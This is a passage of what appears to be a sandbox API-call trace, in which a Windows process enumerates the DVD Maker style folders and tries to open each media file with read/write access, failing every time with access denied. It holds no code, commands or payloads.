files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.962] GetLastError () returned 0x5 [0152.962] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.962] GetLastError () returned 0x5 [0152.962] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.962] GetLastError () returned 0x5 [0152.962] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.962] GetLastError () returned 0x5 [0152.963] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.963] GetLastError () returned 0x5 [0152.963] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.963] GetLastError () returned 0x5 [0152.963] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.964] GetProcessHeap () returned 0x2a0000 [0152.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.967] GetProcessHeap () returned 0x2a0000 [0152.967] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0152.967] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.971] GetLastError () returned 0x5 [0152.971] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.972] GetLastError () returned 0x5 [0152.972] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.972] GetLastError () returned 0x5 [0152.972] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.973] GetLastError () returned 0x5 [0152.973] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.973] GetLastError () returned 0x5 [0152.973] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.973] GetLastError () returned 0x5 [0152.973] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.974] GetLastError () returned 0x5 [0152.974] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.975] GetLastError () returned 0x5 [0152.975] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.975] GetLastError () returned 0x5 [0152.975] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.975] GetLastError () returned 0x5 [0152.975] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.975] GetLastError () returned 0x5 [0152.975] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.976] GetLastError () returned 0x5 [0152.976] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.977] GetLastError () returned 0x5 [0152.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.977] GetLastError () returned 0x5 [0152.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.977] GetLastError () returned 0x5 [0152.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.978] GetLastError () returned 0x5 [0152.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.978] GetLastError () returned 0x5 [0152.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.979] GetLastError () returned 0x5 [0152.979] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.979] GetLastError () returned 0x5 [0152.979] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.980] GetLastError () returned 0x5 [0152.980] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.980] GetLastError () returned 0x5 [0152.980] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.980] GetLastError () returned 0x5 [0152.980] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.981] GetLastError () returned 0x5 [0152.981] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.981] GetLastError () returned 0x5 [0152.981] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.981] GetLastError () returned 0x5 [0152.981] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.982] GetProcessHeap () returned 0x2a0000 [0152.982] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.985] GetProcessHeap () returned 0x2a0000 [0152.985] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.985] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.985] GetLastError () returned 0x5 [0152.985] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.986] GetLastError () returned 0x5 [0152.986] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.986] GetLastError () returned 0x5 [0152.987] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.987] GetLastError () returned 0x5 [0152.987] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.988] GetLastError () returned 0x5 [0152.988] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.988] GetLastError () returned 0x5 [0152.988] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.988] GetLastError () returned 0x5 [0152.988] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.988] GetLastError () returned 0x5 [0152.988] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.989] GetLastError () returned 0x5 [0152.989] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.990] GetLastError () returned 0x5 [0152.990] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.990] GetLastError () returned 0x5 [0152.990] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.990] GetLastError () returned 0x5 [0152.990] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.990] GetLastError () returned 0x5 [0152.990] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.992] GetLastError () returned 0x5 [0152.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.992] GetLastError () returned 0x5 [0152.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.992] GetLastError () returned 0x5 [0152.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.992] GetLastError () returned 0x5 [0152.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.993] GetLastError () returned 0x5 [0152.993] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.993] GetLastError () returned 0x5 [0152.994] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.994] GetLastError () returned 0x5 [0152.994] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.994] GetLastError () returned 0x5 [0152.994] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.995] GetLastError () returned 0x5 [0152.995] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.995] GetLastError () returned 0x5 [0152.995] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.995] GetLastError () returned 0x5 [0152.995] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.996] GetLastError () returned 0x5 [0152.996] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.997] GetLastError () returned 0x5 [0152.997] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.998] GetProcessHeap () returned 0x2a0000 [0152.998] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.998] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.998] GetLastError () returned 0x5 [0152.998] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, 